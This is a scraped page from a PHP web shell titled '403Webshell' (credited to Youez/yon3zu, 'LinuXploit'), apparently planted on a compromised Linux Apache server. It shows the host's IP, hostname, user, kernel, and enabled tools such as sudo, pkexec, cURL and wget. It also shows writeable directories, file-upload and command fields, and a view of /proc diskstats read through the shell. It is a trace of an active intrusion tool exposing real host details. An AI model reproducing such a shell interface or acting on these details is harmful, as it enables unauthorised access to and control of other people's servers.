403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.216.76
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/767809/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/767809/root/proc/diskstats
   7       0 loop0 9968 0 220470 2676 0 0 0 0 0 25940 2676 0 0 0 0 0 0
   7       1 loop1 35584 0 839090 13739 0 0 0 0 0 112424 13739 0 0 0 0 0 0
   7       2 loop2 3893 0 316804 771 0 0 0 0 0 15676 771 0 0 0 0 0 0
   7       3 loop3 6764 0 518896 2244 0 0 0 0 0 27616 2244 0 0 0 0 0 0
   7       4 loop4 8617 0 120484 3390 0 0 0 0 0 24500 3390 0 0 0 0 0 0
   7       5 loop5 67 0 908 34 0 0 0 0 0 96 34 0 0 0 0 0 0
   7       6 loop6 11603821 0 1218277022 26349796 0 0 0 0 0 69488808 26349796 0 0 0 0 0 0
   7       7 loop7 194060 0 20292970 220443 0 0 0 0 0 956120 220443 0 0 0 0 0 0
 252       0 vda 680403382 380324040 62598510518 594039077 9487623 8625766 191746396 16375772 0 207847960 610983281 165596 0 146530468 36312 401104 532118
 252       1 vda1 680402533 380321728 62598475669 594038895 9487621 8625766 191746394 16375762 0 207847724 610450969 165594 0 146329192 36311 0 0
 252      14 vda14 187 0 1730 37 0 0 0 0 0 104 37 0 0 0 0 0 0
 252      15 vda15 240 2312 19448 78 2 0 2 10 0 168 89 2 0 201276 0 0 0
 252      16 vdb 164 0 723 44 0 0 0 0 0 348 44 0 0 0 0 0 0
   7       8 loop8 11 0 28 0 0 0 0 0 0 12 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit